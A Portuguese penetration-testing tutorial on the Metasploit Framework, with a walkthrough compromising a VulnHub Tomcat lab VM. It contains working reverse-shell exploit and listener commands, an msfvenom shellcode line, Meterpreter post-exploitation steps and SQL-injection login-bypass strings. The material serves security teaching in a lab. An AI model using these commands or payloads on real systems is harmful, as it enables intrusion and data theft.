Introdução ao Metasploit
O Metasploit é a estrutura de exploração mais amplamente utilizada em testes de penetração, cobrindo desde a coleta de informações até o pós-exploração. Existem duas versões principais:
- Metasploit Pro: Versão comercial com interface gráfica (GUI), voltada para automação e gerenciamento de tarefas.
- Metasploit Framework: Versão open-source usada via linha de comando, foco principal deste módulo.
O Metasploit Framework oferece ferramentas para:
- Coleta de informações
- Varredura (scanning)
- Exploração (exploitation)
- Desenvolvimento de exploits
- Pós-exploração
Os Componentes principais do Metasploit Framework podem ser resumidos em:
- msfconsole: Interface de linha de comando principal
- Módulos: Exploits, scanners, payloads, etc.
- Ferramentas: Como
msfvenom,pattern_createepattern_offset(estas últimas focadas em desenvolvimento de exploits)
Componentes principais
Ao usar o Metasploit Framework, nós iremos interagir principalmente com o console do Metasploit. Podemos iniciá-lo a partir do terminal usando o comando msfconsole. O console será sua interface principal para interagir com os diferentes módulos do Metasploit Framework. Os Módulos são pequenos componentes dentro do Metasploit Framework que são construídos para executar uma tarefa específica, como explorar uma vulnerabilidade, escanear um alvo ou executar um ataque de força bruta.
Antes de entendermos os módulos, seria útil esclarecer alguns conceitos recorrentes: vulnerabilidade, exploit e payload.
- Vulnerabilidade: Falha no sistema que pode ser explorada.
- Exploit: Um código que explora uma vulnerabilidade.
- Payload: Outro código que será executado após a exploração (ex: abrir uma shell).
msfconsole
O msfconsole é a interface principal para interação com o Metasploit via terminal. É onde nós executamos os comandos, escolhemos os módulos, definimos os alvos e lançamos os exploits.
Tipos de Módulos
O Metasploit Framework foi projetado para ser modular, extensível e multiuso, cobrindo várias fases de um ataque em diversos tipos de sistemas, aplicações e protocolos.
Auxiliary
São os módulos de suporte do Metasploit, que não realizam exploração direta de vulnerabilidades, mas são essenciais para a preparação de um ataque. Eles cobrem funções como escaneamento de portas, coleta de informações, brute-force de serviços, fuzzing de aplicações, entre outros.
São extremamente úteis nas fases iniciais do pentest ou CTF, como reconhecimento e enumeração. Por exemplo, módulos em scanner/portscan ajudam a mapear portas abertas, enquanto gather/credentials permite buscar credenciais vazadas ou armazenadas no alvo. Eles não entregam shells, mas pavimentam o caminho para que isso aconteça.
┌──(kali㉿kali)-[/usr/share/metasploit-framework/modules]
└─$ tree -L 1 auxiliary/
auxiliary/
├── admin
├── analyze
├── bnat
├── client
├── cloud
├── crawler
├── docx
├── dos
├── example.py
├── example.rb
├── fileformat
├── fuzzers
├── gather
├── parser
├── pdf
├── scanner
├── server
├── sniffer
├── spoof
├── sqli
├── voip
└── vsploit
21 directories, 2 files
Encoders
Encoders servem para codificar payloads com o objetivo de evitar a detecção por antivírus baseados em assinatura. Ao codificar um payload, ele é transformado em uma forma que não bate diretamente com assinaturas conhecidas. No entanto, os antivírus modernos usam análises heurísticas e comportamentais, então os encoders têm hoje uma eficácia limitada. Eles são úteis em ambientes mais simples, CTFs ou como parte de técnicas mais complexas de evasão.
┌──(kali㉿kali)-[/usr/share/metasploit-framework/modules]
└─$ tree -L 1 encoders
encoders
├── cmd
├── generic
├── mipsbe
├── mipsle
├── php
├── ppc
├── ruby
├── sparc
├── x64
└── x86
11 directories, 0 files
Evasion
Diferente dos encoders, os módulos de evasão são projetados especificamente para burlar mecanismos de segurança como o Windows Defender, AppLocker e antivírus modernos. Eles usam técnicas como execução via msbuild, regsvcs, InstallUtil, entre outras, para mascarar ou alterar o comportamento de payloads e executáveis. São recursos avançados usados em cenários onde a detecção é uma preocupação real, como ambientes corporativos ou laboratórios mais restritos.
┌──(kali㉿kali)-[/usr/share/metasploit-framework/modules]
└─$ tree -L 2 evasion
evasion
└── windows
├── applocker_evasion_install_util.rb
├── applocker_evasion_msbuild.rb
├── applocker_evasion_presentationhost.rb
├── applocker_evasion_regasm_regsvcs.rb
├── applocker_evasion_workflow_compiler.rb
├── process_herpaderping.rb
├── syscall_inject.rb
├── windows_defender_exe.rb
└── windows_defender_js_hta.rb
2 directories, 9 files
Exploits
Esses módulos são responsáveis por realizar a exploração ativa de vulnerabilidades em sistemas, serviços e aplicações. Um módulo exploit utiliza uma falha conhecida para executar código no sistema alvo, geralmente com o objetivo de injetar um payload. Eles estão organizados por sistema operacional ou tecnologia, como windows/, linux/, unix/, multi/, entre outros. Cada exploit pode ser usado em conjunto com um payload, que define o que será executado quando a vulnerabilidade for explorada com sucesso. Essa é a parte “ofensiva direta” do Metasploit.
┌──(kali㉿kali)-[/usr/share/metasploit-framework/modules]
└─$ tree -L 1 exploits
exploits
├── aix
├── android
├── apple_ios
├── bsd
├── bsdi
├── dialup
├── example_linux_priv_esc.rb
├── example.py
├── example.rb
├── example_webapp.rb
├── firefox
├── freebsd
├── hpux
├── irix
├── linux
├── mainframe
├── multi
├── netware
├── openbsd
├── osx
├── qnx
├── solaris
├── unix
└── windows
21 directories, 4 files
NOPs (No Operation)
O NOPs (No Operation) são instruções que literalmente não fazem nada, usadas principalmente como preenchimento em exploits (por exemplo, em buffer overflows). No processador x86, o byte 0x90 representa uma instrução NOP. Esses módulos ajudam a garantir que o shellcode seja executado com estabilidade, criando uma zona de “aterrissagem” para o fluxo de execução após um redirecionamento de EIP/RIP. Hoje em dia são menos usados em exploits modernos, mas ainda importantes para entender como funcionam as execuções em baixa camada.
┌──(kali㉿kali)-[/usr/share/metasploit-framework/modules]
└─$ tree -L 1 nops
nops
├── aarch64
├── armle
├── cmd
├── mipsbe
├── php
├── ppc
├── riscv32le
├── riscv64le
├── sparc
├── tty
├── x64
└── x86
13 directories, 0 files
Payloads
Os payloads são os códigos que serão executados no sistema alvo após a exploração bem-sucedida. Eles podem abrir uma shell, injetar uma backdoor, adicionar um usuário, ou executar qualquer comando arbitrário. Estão organizados em quatro categorias:
singles
Payloads auto-suficientes que executam uma ação completa por conta própria, como abrir uma calculadora ou adicionar um usuário. Eles não precisam baixar nada adicional.stagers
São responsáveis por criar uma conexão inicial com o sistema alvo. Servem como “porta de entrada” para os stages. Úteis para manter o payload inicial pequeno e discreto.stages
São baixados e executados após o stager. Contêm a carga útil real, como o Meterpreter. Permitem usar payloads maiores e mais avançados em conjunto com um stager leve.adapters
Adapters encapsulam payloads do tipo single e os convertem para formatos específicos, como um comando PowerShell. Isso permite executar o payload em ambientes com restrições ou onde é necessário um formato alternativo.
A combinação entre exploit e payload é o que realmente transforma a exploração em algo funcional.
┌──(kali㉿kali)-[/usr/share/metasploit-framework/modules]
└─$ tree -L 2 payloads
payloads
├── adapters
│ └── cmd
├── singles
│ ├── aix
│ ├── android
│ ├── apple_ios
│ ├── bsd
│ ├── bsdi
│ ├── cmd
│ ├── firefox
│ ├── generic
│ ├── java
│ ├── linux
│ ├── mainframe
│ ├── nodejs
│ ├── osx
│ ├── php
│ ├── python
│ ├── r
│ ├── ruby
│ ├── solaris
│ ├── tty
│ └── windows
├── stagers
│ ├── android
│ ├── bsd
│ ├── bsdi
│ ├── java
│ ├── linux
│ ├── multi
│ ├── netware
│ ├── osx
│ ├── php
│ ├── python
│ └── windows
└── stages
├── android
├── bsd
├── bsdi
├── java
├── linux
├── multi
├── netware
├── osx
├── php
├── python
└── windows
48 directories, 0 files
Post
Os módulos Post são utilizados na fase de pós-exploração, depois que o acesso ao sistema alvo já foi obtido. Eles permitem realizar ações como coleta de credenciais, extração de tokens, enumeração de usuários, movimentação lateral na rede e muito mais. São divididos por plataforma (windows/, linux/, multi/, etc.), e ajudam a obter persistência, escalar privilégios ou coletar evidências para o relatório. Esses módulos são uma parte fundamental de um pentest completo e profissional.
┌──(kali㉿kali)-[/usr/share/metasploit-framework/modules]
└─$ tree -L 1 post
post
├── aix
├── android
├── apple_ios
├── bsd
├── firefox
├── hardware
├── linux
├── multi
├── networking
├── osx
├── solaris
└── windows
13 directories, 0 files
Msfconsole
O msfconsole é a principal interface de uso do Metasploit Framework, baseada em linha de comando. É por onde vamos interagir com os módulos, configurar parâmetros, executar exploits, definir payloads e realizar ações de pós-exploração. Podemos iniciá-lo digitando o comando:
msfconsole
Ao abrir, ele mostra uma arte ASCII e um resumo da quantidade de módulos disponíveis (exploits, payloads, encoders, etc.). O prompt muda para msf6 > (ou msf5 >, dependendo da versão).
Comandos Básicos e Recursos
O msfconsole aceita vários comandos do Linux diretamente, como ls, ping, clear, entre outros. Isso facilita a navegação e execução de tarefas sem sair do console. Exemplo:
msf6 > ping -c 1 8.8.8.8
Contudo, recursos como redirecionamento de saída (>) não funcionam, pois o console não é um terminal Linux completo.
Comando help
Use help para listar todos os comandos disponíveis ou help <comando> para saber mais sobre um comando específico. Exemplo:
msf6 > help set
Histórico de Comandos
Você pode ver os comandos executados anteriormente com:
msf6 > history
Ideal para repetir ações sem reconfigurar tudo.
Auto-complete e Contexto
O msfconsole suporta auto-complete com TAB, o que facilita a escrita de comandos e nomes de módulos. Além disso, ele funciona com contexto: quando você usa um módulo (por exemplo, um exploit), você entra no “contexto” desse módulo. Todas as configurações (como RHOSTS, LPORT) valem apenas para ele. Se você mudar para outro módulo, essas variáveis precisam ser redefinidas, a menos que você use setg para definir como global.
Trabalhando com Módulos
Para usar um módulo:
msf6 > use exploit/windows/smb/ms17_010_eternalblue
Você verá o prompt mudar para:
msf6 exploit(windows/smb/ms17_010_eternalblue) >
Aqui você pode:
- Ver os parâmetros com
show options - Listar payloads compatíveis com
show payloads - Ver detalhes técnicos com
info
Comando search
Um dos comandos mais poderosos. Serve para buscar módulos por nome, CVE, tipo ou plataforma. Exemplos:
msf6 > search ms17-010
msf6 > search type:exploit platform:windows
msf6 > search cve:2017-0144
Você pode usar o número do resultado diretamente:
msf6 > use 2
Quando fazemos uma busca com o comando search no msfconsole, uma das colunas exibidas é a Rank (ranking). Essa classificação indica o nível de confiabilidade e estabilidade de um exploit. Ou seja, ela te ajuda a saber se vale a pena usar aquele exploit ou se ele pode causar instabilidade (como travar ou reiniciar o sistema-alvo).
O Metasploit classifica os exploits com base no seu comportamento esperado, eficácia e estabilidade. A tabela abaixo mostra os tipos de ranking, conforme a documentação oficial:
| Rank | Significado |
|---|---|
| Excellent | Funciona de forma confiável e raramente causa falhas. Alta taxa de sucesso. |
| Great | Geralmente confiável, mas pode falhar ocasionalmente. |
| Good | Funciona, mas pode exigir ajustes ou condições específicas. |
| Normal | Comportamento esperado variável. Pode não funcionar ou ser detectado. |
| Average | Funciona em alguns casos, mas com baixa confiabilidade. Pode causar crashes. |
| Low | Pouco confiável, muito instável, uso em situações específicas. |
| Manual | Precisa de interação manual para funcionar corretamente. |
Sempre prefira
excellentougreatquando possível, especialmente em ambientes reais ou produção.
Rodando o Exploit
Depois de configurar os parâmetros (como set RHOSTS, set LPORT, etc.), execute o módulo com:
msf6 exploit(...) > run
ou
msf6 exploit(...) > exploit
Saindo do Contexto
Se quiser sair de um módulo e voltar ao prompt principal, use:
msf6 exploit(...) > back
Comando info
É usado para para ver detalhes completos sobre qualquer módulo, incluindo:
- Nome e descrição
- Autor
- Requisitos
- Sistema alvo
- CVEs
- Rank de confiabilidade
Use:
info exploit/windows/smb/ms17_010_eternalblue
Resumo Rápido dos Comandos-Chave
| Comando | Função |
|---|---|
use <módulo> | Seleciona um módulo |
show options | Mostra parâmetros do módulo |
set <opção> <valor> | Define um parâmetro |
run ou exploit | Executa o exploit |
back | Sai do módulo atual |
info | Exibe detalhes técnicos do módulo |
search <termo> | Procura por módulos |
help | Exibe ajuda |
history | Lista comandos anteriores |
Metasploit Framework
O Metasploit Framework é uma das ferramentas mais poderosas para testes de intrusão, exploração de vulnerabilidades e pós-exploração. Criado por HD Moore e atualmente mantido pela Rapid7, ele centraliza exploits, payloads, scanners e módulos auxiliares em um único ambiente interativo. A seguir, veremos um procedimento detalhado para uso prático do Metasploit, cobrindo desde a configuração inicial até a exploração de um sistema-alvo.
Antes de continuar baixe a imagem Thales no VulHub e importe ela no seu virtualizador para criar uma VM.
Antes de iniciar o Metasploit, é necessário configurar seu banco de dados para armazenar informações sobre os alvos e sessões de exploração.
# Inicia o banco de dados:
sudo systemctl start postgresql
# Ativa o serviço para iniciar automaticamente:
sudo systemctl enable postgresql
# Inicializa o banco de dados do Metasploit:
msfdb init
# Verificar se a configuração ocorreu corretamente:
msfdb status
# Inicia o Metasploit Framework
msfconsole
# Se tudo estiver certo, o Metasploit será carregado e exibirá seu prompt:
msf6 >
A tabela abaixo contém os comandos básicos para usarmos no Metasploit:
| Comando | Descrição |
|---|---|
search <termo> | Pesquisa exploits, payloads e módulos auxiliares |
use <exploit> | Seleciona um exploit para uso |
show options | Exibe os parâmetros configuráveis do módulo |
set <opção> <valor> | Define um valor para um parâmetro |
show payloads | Lista os payloads compatíveis com o exploit |
exploit ou run | Executa o exploit |
sessions -l | Lista as sessões ativas |
sessions -i <id> | Entra em uma sessão ativa |
exit | Sai do Metasploit |
Levantamento de Informações e Enumeração
O Metasploit permite integrar escaneamentos do Nmap diretamente no seu banco de dados.
# Identificar hosts ativos na rede:
msf6 > db_nmap -sn 192.168.40.0/24
[*] Nmap: Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-09 16:06 EDT
[*] Nmap: Nmap scan report for 192.168.40.1
[*] Nmap: Host is up (0.00012s latency).
[*] Nmap: MAC Address: 52:54:00:A1:44:98 (QEMU virtual NIC)
[*] Nmap: Nmap scan report for miletus.isolated (192.168.40.174)
[*] Nmap: Host is up (0.00010s latency).
[*] Nmap: MAC Address: 52:54:00:DC:F0:39 (QEMU virtual NIC)
[*] Nmap: Nmap scan report for kali.isolated (192.168.40.217)
[*] Nmap: Host is up.
[*] Nmap: Nmap done: 256 IP addresses (3 hosts up) scanned in 14.92 seconds
# Escanear portas de um host específico:
msf6 > db_nmap -sS -sV -p- 192.168.40.174
[*] Nmap: Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-09 16:07 EDT
[*] Nmap: Nmap scan report for miletus.isolated (192.168.40.174)
[*] Nmap: Host is up (0.000021s latency).
[*] Nmap: Not shown: 65533 closed tcp ports (reset)
[*] Nmap: PORT STATE SERVICE VERSION
[*] Nmap: 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
[*] Nmap: 8080/tcp open http Apache Tomcat 9.0.52
[*] Nmap: MAC Address: 52:54:00:DC:F0:39 (QEMU virtual NIC)
[*] Nmap: Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 7.71 seconds
# Pesquisar módulos para um serviço identificado (ex: Tomcat):
msf6 > search tomcat
Explorando uma Vulnerabilidade no Metasploit
Após a enumeração, escolhemos um exploit para testar no alvo:
msf6 > use auxiliary/scanner/http/tomcat_mgr_login
Agora vamos configurar os parâmetros do exploit:
# Exibe os parâmetros necessários:
msf6 auxiliary(scanner/http/tomcat_mgr_login) > show options
# Define o IP do alvo:
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 192.168.40.174
RHOSTS => 192.168.40.174
# Define a porta do serviço vulnerável:
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8080
RPORT => 8080
# Define o usuário do Tomcat:
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set HttpUsername admin
HttpUsername => admin
# Define a senha do Tomcat:
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set HttpPassword admin
HttpPassword => admin
# Verifique se não faltou configurar nenhum parâmetro obrigatório:
msf6 auxiliary(scanner/http/tomcat_mgr_login) > show missing
msf6 auxiliary(scanner/http/tomcat_mgr_login) > exploit
[+] 192.168.40.174:8080 - Login Successful: tomcat:role1
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set HttpUsername tomcat
HttpUsername => tomcat
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set HttpPassword role1
HttpPassword => role1
Agora vamos escolher um payload adequado:
show payloads
msf6 auxiliary(scanner/http/tomcat_mgr_login) > use exploit/multi/http/tomcat_mgr_upload
[*] Using configured payload java/meterpreter/reverse_tcp
set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
# Configurando parâmetros para o servidor alvo:
set RHOSTS 192.168.40.174
set RPORT 8080
set HttpUsername tomcat
set HttpPassword role1
# Configurando IP local e porta local para o shell reverso:
set LHOST 192.168.40.217
set LPORT 443
# Configure FingerprintCheck como 'false':
set FingerprintCheck false
Por fim vamos executar o exploit e obter acesso ao sistema:
msf6 exploit(multi/http/tomcat_mgr_upload) > exploit
# ou:
msf6 exploit(multi/http/tomcat_mgr_upload) > run
[*] Started reverse TCP handler on 192.168.40.217:443
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying Yxid9Z35iG3mGc3xeWEselzIa...
[*] Executing Yxid9Z35iG3mGc3xeWEselzIa...
[*] Undeploying Yxid9Z35iG3mGc3xeWEselzIa ...
[*] Sending stage (58073 bytes) to 192.168.40.174
[*] Undeployed at /manager/html/undeploy
[*] Meterpreter session 1 opened (192.168.40.217:443 -> 192.168.40.174:33572) at 2025-03-09 17:13:19 -0400
meterpreter >
Pós-Exploração com o Meterpreter
O Meterpreter é um shell avançado do Metasploit que permite controle remoto e manipulação do sistema comprometido. Ele é carregado na memória do alvo sem deixar rastros no disco, tornando a detecção mais difícil. A tabela abaixo exibe os comandos úteis no Meterpreter:
| Comando | Descrição |
|---|---|
sysinfo | Mostra informações do sistema-alvo |
ps | Lista os processos em execução |
shell | Abre um shell interativo no alvo |
download <arquivo> | Baixa um arquivo do alvo |
upload <arquivo> | Envia um arquivo para o alvo |
screenshot | Captura a tela da vítima |
hashdump | Obtém os hashes de senha do alvo |
migrate <PID> | Move o shell para outro processo |
background | Retorna ao Metasploit sem fechar a sessão |
# Verificando qual usuário estamos logados:
meterpreter > getuid
Server username: tomcat
# Verificar informações do Sistema:
meterpreter > sysinfo
Computer : miletus
OS : Linux 4.15.0-159-generic (amd64)
Architecture : x64
System Language : en_US
Meterpreter : java/linux
# Entre no diretório home:
meterpreter > cd home
# Execute um 'LS':
meterpreter > ls
Listing: /home
==============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040554/r-xr-xr-- 4096 dir 2021-10-14 07:28:04 -0400 thales
# Execute um 'LS' no diretório home do usuário thales:
meterpreter > ls thales
Listing: thales
===============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100001/--------x 457 fil 2021-10-14 07:30:45 -0400 .bash_history
100445/r--r--r-x 220 fil 2018-04-04 14:30:26 -0400 .bash_logout
100445/r--r--r-x 3771 fil 2018-04-04 14:30:26 -0400 .bashrc
040001/--------x 4096 dir 2021-08-15 12:58:00 -0400 .cache
040001/--------x 4096 dir 2021-08-15 12:58:00 -0400 .gnupg
040555/r-xr-xr-x 4096 dir 2021-08-15 13:50:29 -0400 .local
100445/r--r--r-x 807 fil 2018-04-04 14:30:26 -0400 .profile
100445/r--r--r-x 66 fil 2021-08-15 13:50:18 -0400 .selected_editor
040777/rwxrwxrwx 4096 dir 2021-08-16 16:34:04 -0400 .ssh
100445/r--r--r-x 0 fil 2021-10-14 06:45:25 -0400 .sudo_as_admin_successful
100444/r--r--r-- 107 fil 2021-10-14 05:36:43 -0400 notes.txt
100000/--------- 33 fil 2021-08-15 14:18:54 -0400 user.txt
# leia o conteúdo de 'notes.txt':
meterpreter > cat thales/notes.txt
I prepared a backup script for you. The script is in this directory "/usr/local/bin/backup.sh". Good Luck.
Vamos abrir um shell reverso sem o uso do meterpreter:
# Saia do meterpreter:
meterpreter > exit
# Configure um payload para shell reverso:
msf6 exploit(multi/http/tomcat_mgr_upload) > set payload payload/java/shell_reverse_tcp
payload => java/shell_reverse_tcp
# Execute:
msf6 exploit(multi/http/tomcat_mgr_upload) > run
[*] Started reverse TCP handler on 192.168.40.217:443
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying EWeDqdf...
[*] Executing EWeDqdf...
[*] Undeploying EWeDqdf ...
[*] Undeployed at /manager/html/undeploy
[*] Command shell session 2 opened (192.168.40.217:443 -> 192.168.40.174:33574) at 2025-03-09 17:29:35 -0400
Com isso temos um shell reverso aberto!
Uso de Módulos Auxiliares para Scan e Acesso Remoto
# Listar módulos auxiliares disponíveis:
show auxiliary
# Pesquisar por um módulo de scanner para SMB:
search smb
# Usar um scanner SMB para detectar compartilhamentos:
use auxiliary/scanner/smb/smb_enumshares
set RHOSTS 192.168.40.174
run
Criando um Handler para Conexões Reversas
Um handler no Metasploit é um módulo que escuta conexões de backdoor, permitindo que um atacante controle um sistema comprometido. Ele é essencial para capturar sessões de Meterpreter, shells reversos e payloads personalizados.
# Iniciar o handler no Metasploit:
use exploit/multi/handler
# Configurar o payload e os parâmetros:
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.40.217
set LPORT 4444
# Iniciar o listener:
exploit -j
Agora qualquer payload enviado para a vítima abrirá uma sessão no Metasploit.
Exploit
Um exploit é um código ou técnica utilizada para tirar vantagem de uma falha de segurança em um sistema, serviço ou aplicação. Um exploit pode explorar um buffer overflow, permitindo que um atacante execute comandos arbitrários. Pode explorar uma falha em um CMS (WordPress, Joomla, etc.) para ganhar acesso administrativo, entre outros tipos.
Os pentesters podem buscar exploits conhecidos nos seguintes bancos de dados:
🔗 Exploit-DB
Maior repositório público de exploits.🔗 Rapid7 Vulnerability Database
Banco de vulnerabilidades da empresa por trás do Metasploit.🔗 CVE Details
Lista de falhas documentadas.🔗 MITRE CVE
Base oficial de vulnerabilidades.🔗 VulDB
O VulDB é um banco de dados de vulnerabilidades que fornece informações detalhadas sobre falhas de segurança, exploits e mitigações, permitindo análise de risco e inteligência de ameaças em tempo real.
No Kali Linux, se não tivermos acesso à internet, podemos usar o searchsploit para procurar exploits localmente:
searchsploit apache 2.4
Opções úteis do searchsploit:
# Evita overflow na saída:
searchsploit -o
# Faz uma busca exata:
searchsploit -e "SQL Injection"
# Mostra o caminho completo do exploit:
searchsploit -p 1234
# Copia o exploit para um diretório local:
searchsploit -m 1234
Payload
Um payload é o código que o exploit injeta e executa no sistema alvo. Ele pode ter diferentes funções como: criar um backdoor, abrir uma conexão reversa com o atacante, executar comandos remotos, entre outras funcionalidades.
# Exemplo de payloads no Metasploit:
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/meterpreter/reverse_tcp
Esses comandos definem o EternalBlue como exploit e usa um payload que retorna um shell ao atacante.
Shellcode
Um shellcode é um código de máquina que um exploit usa para executar comandos diretamente na memória do alvo. O Bind Shell faz com que o alvo abra uma porta para conexão do atacante. O Reverse Shell faz com que o alvo inicie uma conexão com o atacante (mais difícil de ser detectado por firewalls).
# Gerando um shellcode com msfvenom:
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f c
O comando acima gera um shellcode reverso para Linux no formato C.
Credenciais
O processo de obtenção e exploração de credenciais em um pentest envolve diversas técnicas, desde a descoberta de senhas padrão até ataques de força-bruta e engenharia social. O objetivo é encontrar credenciais válidas que possam ser usadas para acessar sistemas, escalar privilégios ou movimentar-se lateralmente dentro da rede.
Muitos sistemas vêm com usuários e senhas padrão que, se não forem alterados, podem permitir acesso fácil. Existem alguns sites que podemos usar para encontrar o usuário e senha padrão.
Adivinhação de Senhas (Guessing)
A adivinhação de senha (password guessing) é uma abordagem manual onde usamos informações obtidas na fase de Information Gathering para tentar senhas prováveis.
Brute-Force Attack
O ataque de força-bruta testa várias combinações de senhas automaticamente até encontrar a correta. Podemos usar algumas ferramentas para efetuar o brute-force:
Hydra
Para ataques contra SSH, FTP, RDP, HTTP, etc.Medusa
Alternativa ao Hydra, mais rápida para alguns serviços.Burp Suite Intruder
Para testar credenciais em logins web.
Bypass de Autenticação
O bypass de autenticação é uma técnica usada para acessar sistemas protegidos sem fornecer credenciais válidas. Isso ocorre quando um sistema possui falhas de implementação que permitem ao atacante enganá-lo e obter acesso indevido. Se um sistema for vulnerável a bypass de autenticação, um atacante pode entrar como administrador sem precisar de um exploit sofisticado.
Os principais métodos de bypass de autenticação são:
- Injeção de SQL no Login
- Manipulação de Headers HTTP
- Modificação de Cookies e Tokens
- Bypass via Diretórios Restritos
- Exploração de Senhas Vazias ou Usuários Fantasmas
Bypass de Login via SQL Injection
Se um sistema não trata corretamente as entradas do usuário, podemos inserir comandos SQL no campo de login para forçar uma autenticação bem-sucedida. Exemplo de login vulnerável seria:
' OR '1'='1' --
As injeções SQL são colocadas no campo de senha de um formulário de login. O código acima sempre retorna verdadeiro, pois '1'='1' é uma condição lógica válida. Já o -- comenta o restante da consulta, ignorando qualquer verificação real da senha.
Outros exemplos de injeção SQL para bypass de login são:
' OR '1'='1' --
' OR ''='
' OR 1]%00
' OR /* or '
Código-Fonte de Páginas Web
Os desenvolvedores muitas vezes deixam credenciais expostas no código-fonte de páginas web. Podemos encontrar essas credenciais e conseguir logar em sistemas que não foram devidamente configurados (alterando essas credenciais).
Buffer Overflow
O Buffer Overflow acontece quando um programa não controla o tamanho da entrada, permitindo que um atacante sobrescreva regiões da memória. Podemos enviar dados aleatórios para um programa e ver se ele quebra. Isso pode levar a duas situações principais:
Negação de Serviço (DoS)
O programa trava ou fecha inesperadamente devido ao estouro da pilha.Exploração
Um atacante manipula o overflow para controlar a execução do código, podendo executar comandos arbitrários.
Para a exploração, é necessário que se tenha acesso ao código da aplicação para o desenvolvimento do exploit com aplicações de “debugger”. Para executar o fuzzing (testar se a aplicação é vulnerável), é necessário enviar uma quantidade grande de dados ou caracteres que possivelmente não serão tratados e causarão a quebra da aplicação.
Abaixo podemos conferir um exemplo simples:
python3 -c 'print("A" * 1000)' | nc 192.168.1.100 9999